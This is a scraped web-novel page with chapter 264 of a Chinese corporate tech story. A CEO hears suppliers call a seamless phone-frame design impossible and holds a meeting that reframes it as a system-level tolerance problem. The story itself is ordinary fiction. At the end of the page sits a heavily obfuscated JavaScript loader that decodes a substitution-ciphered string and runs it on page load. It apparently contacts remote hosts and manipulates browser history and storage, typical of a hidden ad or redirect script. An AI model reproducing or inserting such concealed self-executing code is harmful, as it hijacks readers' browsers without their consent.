首页
第264章 供应链称此要求「
返回
关灯 护眼:关 字号:小

第264章 供应链称此要求「不可能」

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    陈醒没有说话。
    他坐在办公桌后,手边摊着苏黛刚刚递上来的那叠反馈文件,最上面那一页用红线框出了几个关键词:
    无法保证。
    超出现有量产边界。
    结构件热变形不可控。
    装配误差会累积放大。
    综合判断:不可能。
    苏黛站在桌前,没有像平时那样先分析利弊,而是把每一家核心合作方的原始表述都尽量完整地保留了下来。她太清楚陈醒的风格了——这种时候,最重要的不是润色,而是真实。
    「精密结构件那边的意思最直接。」她翻开第二页,「他们说,如果只做单件样品,靠老师傅一点点修,或许能逼近我们的目标;但只要进入批量生产,边框尺寸丶抛光量丶CNC热漂移和装夹偏差会叠加,整机四边连续性一定会失控。」
    她又翻到下一页。
    「盖板供应方说得更委婉一些,但结论一样。连续曲面如果压到我们要的过渡范围,玻璃加工良率会掉得很厉害,而且不同批次之间折射差异会非常明显。肉眼可能看不出具体误差值,但一定能看出『不整』。」
    「显示模组那边更保守。」苏黛停顿了一下,「他们认为,一旦飞星同时上屏下指纹和极限边框,模组堆叠厚度丶局部透过率与受压形变之间会互相牵连。装配阶段只要有一处受力不均,就可能让屏幕边缘区出现微小起伏,平时看不见,特定角度和温度下会全暴露出来。」
    办公室里很静。
    安静到连翻页声都显得清晰。
    陈醒的视线扫过纸页,没有打断。
    苏黛继续往下讲:
    「装配设备商的反馈也很统一。他们觉得我们不是在提装配要求,而是在要求工业体系做到『既像手工定制,又像大规模量产』。他们说这两个目标本来就是互相矛盾的,至少在现在的工艺条件下,找不到兼容解。」
    说到这里,她把最后一页单独抽出来,放到最前面。
    「这一页,是我让他们用一句话写结论。」
    纸面最中央,只有一行粗体字:
    这不是难,而是不可能。
    陈醒终于抬起头。
    「都这麽说?」
    「几乎一致。」苏黛点头,「表达方式不同,但意思一样。有人说『不现实』,有人说『没有量产价值』,有人说『除非彻底改写整机装配逻辑』。真正愿意往下试的,一家都没有。」
    窗外的风吹过幕墙,发出极轻的低鸣。
    陈醒沉默了几秒,没有立刻评价这句「不可能」。
    他反而先问了一个很细的问题。
    「有没有哪一家提到,最接近瓶颈的具体点在哪?」
    苏黛愣了一下,很快反应过来,把几页标记过的内容翻出来。
    「有。虽然他们整体都在说不可能,但技术人员还是给了一些细节点。」
    她用手指点着几段反馈:
    「第一类,是单件精度够,整机收不住。意思是某一个零件单独做,精度还能往前推,但一装到整机里,多材料丶多模组丶多受力路径叠加,误差会像放大镜一样扩散。」
    「第二类,是静态好看,动态失真。常温下刚装好也许能做到接近理想状态,但一旦经历热循环丶跌落丶按压丶时间老化,原本压下去的缝线和台阶感会重新浮出来。」
    「第三类,是人工可修,量产不可控。顶级样机靠工程师手工挑件丶修件丶调压丶重装,确实能做得很漂亮;但大规模生产靠的是体系,不能指望每一台都有人盯着调。」
    她说完,办公室里重新安静下来。
    陈醒的手指在桌面上轻轻敲了一下。
    不重,却让苏黛本能地意识到,他已经开始顺着问题往里看了。
    不是看「做不做」,而是在判断,「不可能」到底建立在哪条逻辑上。
    「也就是说,」陈醒缓缓开口,「他们不是完全不知道难点在哪,而是知道得很清楚,所以才判断不可能。」
    「对。」苏黛看着他,「这反而是最麻烦的地方。不是供应链不愿意回答,而是他们真觉得再往前推,就会掉出工业控制区。」
    陈醒没有接这句话。
    他拿起最上面那页反馈,又看了一遍,忽然笑了笑。
    笑意很淡,几乎看不出情绪。
    苏黛却太熟悉这个表情了。
    每次他露出这种近乎平静的笑,往往就意味着——他已经不准备按常规逻辑处理了。
    「他们说得没错。」陈醒把纸放下,「按现有工业组织方式,这确实不可能。」
    苏黛眉头微微一动。
    「现有工业组织方式?」
    「对。」陈醒看向她,「你有没有发现,他们的所有判断都默认了一件事。」
    「什麽?」
    「默认零缝隙是一个单点制造问题。」陈醒语气平稳,「结构件厂认为是结构件的问题,盖板厂认为是玻璃问题,显示模组厂认为是模组堆叠问题,设备商认为是装配精度问题。每一家都在用自己那一段的最优解去看整体目标,所以得出的结论当然是不可能。」
    苏黛沉默了两秒,随即意识到他的意思。
    飞星的「零缝隙」根本就不是一个可以外包给某家供应商解决的问题。
    它是整机系统级问题。
    而一旦仍用传统链条思维——一个环节做完,交给下一个环节——那最后只会得到一堆局部合格丶整体失控的零件。
    「所以你是想……」苏黛试探着问。
    「把这件事从供应链逻辑里拿回来。」陈醒淡淡道。
    简简单单一句话,让办公室里的空气骤然收紧。
    苏黛立刻明白,这意味着什麽。
    这不是让供应链继续优化,而是要由未来科技自己建立一套新的总控方法,把原本彼此独立的材料丶结构丶模组丶装配丶算法和设备协同成一个整体。
    换句话说,供应链不再是「各自按图交付」,而要变成「围绕统一目标被重新组织」。
    难度会成倍上升。
    可也正因为如此,「不可能」才可能被拆开。
    「这会非常重。」苏黛低声说。
    「我知道。」陈醒回答得很平静。
    「那你还要继续往前推?」
    「飞星如果不往这种地方推,那它就没有意义。」
    他说这句话时,声音并不高,却有种近乎不容置疑的冷静。
    苏黛没有再劝。
    她太清楚,陈醒一旦把「意义」两个字和某个技术目标绑定,这件事就已经不再是普通产品决策了。
    就在这时,门外响起一阵不轻不重的敲门声。
    周明走了进来,手里拿着一份新的海外简报。
    「刚收到欧罗巴那边的更新。」他关上门,先看了一眼苏黛桌上的文件,似乎已经猜到了什麽,「世界AI竞技场的发起方,开始向几家主流媒体放风,说『真正的下一代AI终端,不只要模型领先,还要在可信硬体丶结构一体化与工业成熟度上接受全球检验』。」
    苏黛冷笑一声:「他们这是已经盯上飞星可能走的方向了?」
    「未必知道飞星,但一定知道我们会试图在终端上打代差。」周明把简报放到桌上,「这套话术很精。看起来像在讨论行业趋势,实际上是在提前设评判标准。只要我们拿出来的产品不够惊艳,他们就会说:未来科技只有模型强,终端工业力并没有完成真正跨代。」
    陈醒听完,眼神没有丝毫波动。
    可苏黛却看见,他指尖又在桌面上轻轻敲了一下。
    很轻,却比刚才更像某种确认。
    他没有再问海外。
    因为这条消息本身已经足够说明问题——飞星不只是内部想做惊艳,它还必须在全球目光里,撑得住「下一代终端」这几个字。
    否则,未来科技在AI领域积累起来的领先,很可能会被外界重新包装成「局部技术强丶终端工业仍未脱旧壳」。
    这绝不是飞星能接受的定位。
    「通知林薇丶张伟丶张京京他们。」陈醒忽然开口,「今晚九点,飞星专项核心组碰一次。」
    周明看了眼时间,已经快八点半了。
    「这麽急?」
    「现在就该急了。」陈醒起身,走到落地窗前,「供应链已经把他们的结论给出来了,外部也开始往终端工业成熟度上设框。飞星接下来不是继续讨论『要不要做』,而是要回答一个更现实的问题——既然他们说不可能,我们到底是哪里还在按旧方法想问题。」
    他转过身,语气平稳得近乎没有起伏。
    「我要一场不是讨论困难,而是拆解『不可能』的会。」
    ——
    晚上九点整。
    飞星项目核心会议在终端事业群顶层的封闭研讨室准时开始。
    房间中央那张超长投影桌上,整齐摆着供应链回传的全部反馈报告。每一份都被重新标注过,按材料丶结构丶显示丶装配丶设备丶环境可靠性六大类拆分得清清楚楚。
    林薇是第一个坐下的。
    她一进门,就看见投影桌中央那句被放大的结论:
    这不是难,而是不可能。
    她停了一秒,表情没有变化,只是走到座位前,把手里的灰模轻轻放下。
    张伟紧随其后,手里夹着一叠刚出炉的公差推演结果,脸色显然并不轻松;张京京丶金秉洙丶梁志远三人也来了,制造体系的「铁三角」难得同时到齐;赵静带着一名AI研究院的工业视觉负责人坐到了侧边;章宸则抱着平板,显然是刚从板级协同实验室赶来,连外套都没顾上换。
    所有人坐定后,陈醒没有开场寒暄,直接把问题摆到了桌面上。
    「大家都看到供应链的结论了。」
    他目光扫过众人。
    「今天不讨论情绪,也不讨论他们保守不保守。我们默认,他们说的都是真的。现有工业路径下,零缝隙确实做不到。」
    「现在的问题只有一个——」
    他抬手点了点桌上的文件。
    「这些『不可能』,到底是被什麽逻辑锁住的?」
    会议室安静了一瞬。
    不是没人会说,而是大家都意识到,这不是普通复盘,而是一次思维方式的翻转。
    张伟第一个开口。
    「我先说结构件视角。」
    他调出一张整机边界堆叠图。
    「供应链说不可能,核心原因是误差累积。不是某一个位置不够准,而是十几个位置每个都差一点,最后整机边界就会露出破绽。」
    他把雷射笔沿着机身边缘一路滑过去。
    「盖板厚度有波动,中框加工有波动,显示模组受压有波动,胶路厚度有波动,锁附点力矩也有波动。单看都很小,但叠到一起,就会出现用户能摸出来丶看出来的台阶感和阴影线。」
    「也就是说,传统方法的问题不是『精度不够』,而是『没有统一消化误差的机制』。」
    林薇接着他的话点了点头。
    「对。现在的量产逻辑,是每个环节都把自己的误差控制在规范内,然后默认整机会自然合格。但飞星的目标太极限了,规范内误差叠起来,本身就足以失败。」
    赵静忽然问:「那是不是意味着,我们得改的不只是精度,而是公差分配方式?」
    张伟看了她一眼,眼里闪过一丝认同。
    「没错。飞星不能再按传统方式做『每个环节各守一段公差』,而必须重新设计一套全链路公差预算。谁可以多一点,谁必须少一点,谁出了波动由谁来吸收,必须统一算。」
    这一下,会议室里不少人都坐直了些。
    因为这句话点中了关键。
    过去的终端供应链,本质上像接力赛。
    每一棒尽量把自己那段跑稳,然后把结果交给下一棒。至于最后跑出来是不是世界纪录,很多时候靠的是经验与运气。
    但飞星显然不能靠运气。
    它要求的是从第一棒开始,就知道整个赛道每一步能失去多少丶必须追回多少。
    「这还只是静态问题。」金秉洙沉声开口,「动态更麻烦。」
    他调出一组材料应力模拟图。
    「供应链第二类判断是动态失真——刚装好时看着还行,热循环丶跌落丶按压之后接缝又浮出来。原因是材料不是死的。玻璃会涨,金属会应力回弹,胶会老化,模组会在锁附后慢慢释放残馀应力。你今天压平了它,不代表明天它还是平的。」
    梁志远接着补充:「尤其飞星要做连续边界,多材料交界比普通手机更敏感。现在大家靠的是经验选材料,尽量别出大错。可如果你要肉眼难辨级的连续感,那材料热膨胀系数丶表面处理收缩率丶结构件回弹曲线,全部都要纳入统一模型。」
    赵静听到这里,忽然转头看向林薇:「你之前说装配也可以引入算法补偿,是不是就是为了解这个?」
    林薇没有立刻回答,而是先把目光落到了陈醒身上。
    见他没有阻止,她才开口。
    「对,但我现在觉得不够。」
    会议室里的人都抬头看向她。
    「原本我想的是,装配阶段引入视觉识别与误差补偿,让机械系统根据实际偏差修正路径和压力参数。可现在看,供应链说的不可能里,还有一层更深的东西——」
    她停顿了一下,声音很平。
    「他们默认误差是装配时才出现的。」
    「但未必。」
    张京京眼神一凝:「你的意思是,很多问题在零件还没装起来之前,就已经埋下了?」
    「没错。」林薇点头,「比如某批次中框加工温升略高,某批次玻璃曲率恢复不同,某版模组边缘受力路径不一样。这些东西在单件检测时可能都还在合格区,但一旦和特定批次丶特定材料丶特定锁附路径组合在一起,就会出现放大效应。」
    会议室里安静了一瞬。
    这比单纯的「装配精度不够」更麻烦。
    因为它意味着问题不是在线性的某一个点,而是藏在组合关系里。
    「也就是说,」章宸终于开口,声音不高,却一下抓住了核心,「飞星的问题不是零件精度,而是系统耦合。」
    「对。」林薇看向他。
    「每个单件看着都没错,但一组合,就可能失真。」
    章宸点了点头,神色一点点沉下来。
    「那这件事就和晶片系统调优很像了。单模块性能再好,联调时也可能被总线冲突丶时钟偏移丶缓存策略拖垮。真正难的,从来不是做出最强单件,而是找到全局最优状态。」
    陈醒直到这时,才第一次明确表态。
    「这就是我要的。」
    他看着桌上那句「不可能」,语气依旧平静。
    「供应链给出的其实不是死刑判决,而是一份说明书。它告诉我们:用局部最优拼整体极限,这条路走不通。」
    「那接下来要做的,就不是继续逼单点,而是找到整机级的控制方法。」
    张伟皱了皱眉:「可说起来简单,做起来太难了。我们连问题究竟发生在哪一组组合里,都不一定能看出来。」
    赵静忽然开口:「未必看不出来。」
    所有人望向她。
    她把一份新带来的方案投到屏幕上。
    「AI研究院这边,今天白天已经简单推了一版工业视觉与形变关联模型。样本不够多,结论还很粗,但能看出一个方向——如果我们把中框丶盖板丶模组丶胶路丶锁附压力丶热循环后的形态数据全喂进去,系统是有可能学出隐藏关联的。」
    张京京微微皱眉:「可我们现在没有那麽多高质量样本。」
    「那就做。」赵静语气乾脆,「飞星既然要走这条路,早晚都得建立自己的装配数据底座。与其等问题出现后再补救,不如从现在开始,把所有试制件丶工装压力丶热箱结果丶跌落实验丶边界扫描全部数位化。」
    苏黛坐在一旁,原本还在想着怎麽和供应链继续沟通,听到这里,忽然意识到未来科技正在做一件非常危险也非常强的事——
    它不是要供应链给答案,而是要自己把「答案生成机制」建出来。
    一旦这条路打通,飞星的零缝隙问题,就不再是某一代手机的难题,而会变成未来科技独有的一整套终端工业能力。
    这套能力,甚至比某一个单独产品更值钱。
    「还有一件事。」周明忽然出声,「既然供应链普遍给出『不可能』判断,那保密和合作策略也得变。再继续按普通合作方式推进,外部很快就会看出我们在碰什麽极限。」
    陈醒点了点头。
    「从现在开始,零缝隙专项分三层。」
    「第一层,外部仍只看到单点要求,看不到整体目标。谁做玻璃,就只知道玻璃;谁做中框,只知道中框;设备商只接装配精度需求,不知道终端语言。」
    「第二层,内部所有问题统一回流飞星总控组,不允许各团队私下各解各的,避免形成局部补丁。」
    「第三层,试制数据集中建模。每一台样机不是拿来『看行不行』,而是拿来『看哪里在联动失真』。」
    说到这里,他停了一下,目光缓缓扫过全场。
    「既然他们说不可能,那我们就别再幻想靠经验把它磨出来了。」
    「飞星接下来,不是常规试制。」
    「是一次面向整机耦合问题的系统攻坚。」
    这几句话落下后,会议室里的气场彻底变了。
    原本那种被「不可能」压住的沉重感,正在一点点转成另一种更冷丶更硬的东西——不是轻松,而是方向终于开始成形的专注。
    这时,坐在边上的张京京忽然低声说了一句:
    「可即便这样,供应链明天还是会说,不可能。」
    苏黛苦笑了一下:「他们甚至会说,我们是在拿实验室方法做产业梦。」
    「那就让他们继续说。」林薇平静开口。
    所有人看向她。
    她盯着飞星灰模,声音不大,却极稳。
    「供应链说不可能,其实是在说一件很正常的事——他们没见过有人这样组织一台手机。」
    「那不是他们错。」
    「只是因为这条路以前没人走。」
    这句话让会议室短暂安静了一下。
    章宸忽然笑了:「你这话,和某人很像。」
    林薇没有接。
    陈醒却淡淡道:「她说得对。」
    他站起身,把桌上的几份反馈文件收拢到一起。
    「明天上午,我要给飞星定一个新推进方式。」
    「不是安慰,不是动员,也不是再问一次大家难不难。」
    他的目光沉下来,带着一种极其清晰的决断。
    「既然普通要求推不动,那就换成战时要求。」
    一句话,让所有人心里同时一震。
    战时要求。
    这四个字在未来科技内部,从来不是形容词。
    它意味着资源重排,优先级重置,容忍度改写,节奏加速,甚至意味着很多原本不该并线推进的项目,会被强行拉到同一张图上统一作战。
    飞星如果进入这种状态,就不再只是终端事业群自己的项目,而会变成集团级攻坚任务。
    赵静眼神一亮,像是已经听出了某种更进一步的味道。
    周明则在第一时间意识到,这意味着法务丶保密丶外部合作丶投资者沟通甚至海外舆情线都要重新调整。
    苏黛更是下意识看向陈醒:「你准备直接上集团级指令?」
    陈醒没有正面回答。
    他只是拿起那台飞星灰模,缓缓握在手里,看着它在灯光下冷静而完整的轮廓。
    然后,低声说了一句:
    「别人说不可能,是因为他们在算成本和概率。」
    「我们接下来要算的,是未来科技有没有资格定义下一代终端。」
    他说完,把灰模放回桌面。
    「明天九点,发起飞星专项扩大会议。所有核心负责人必须到场。」
    「我要下达一份新的命令。」
    会议结束时,已经接近午夜。
    没有人立刻离开。
    张伟开始带着结构组重新拆整机公差预算;赵静当场给AI研究院下任务,要他们连夜搭第一版装配形变关联模型;张京京三人则站在投影前,盯着那几条边界过渡曲线,像是在重新认识一台手机为什麽会「看起来像拼出来的」。
    林薇最后一个关掉了投影桌。
    房间暗下来时,中央那句「不可能」也随之消失。
    她站在原地,盯着桌面玻璃上映出的模糊倒影,忽然有一种很清晰的预感——
    飞星真正的难点,恐怕还没有被全部看见。
    因为当所有人开始把目光集中在边框丶盖板丶模组和装配上时,那些更隐蔽的变量,往往才最致命。
    热变形丶微应力丶锁附路径丶材料记忆丶模组边缘受压丶局部回弹……
    这些东西,单看都不吓人,一旦叠在一起,却足以把所有理想都拖回现实。
    而想把这种看不见的联动抓出来,光靠经验和肉眼,远远不够。
    走出会议室时,窗外夜色深沉,科技园区试制楼的灯却亮得刺眼。
    更远处,车规晶片平台实验区也依旧通明,天权5A的首台点亮仍在紧张推进;汽车事业部那边,「天行者2.0」的联调简报也刚刚发到陈醒待阅终端。整个集团仿佛都被某种不断上升的节奏牵引着,多个方向同时逼近关键节点。
    而在终端事业群内部,所有人都已经隐约意识到,飞星再往前一步,就不可能按普通项目推进了。
    第二天一早,一封只发给核心层的加密会议通知,准时抵达各事业群负责人终端。
    标题很短,只有六个字:
    飞星专项战令会
    没有解释,没有附件,也没有缓冲性的说明。
    但所有收到通知的人,都从这六个字里读出了同一个信号——
    陈醒,要正式下命令了。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();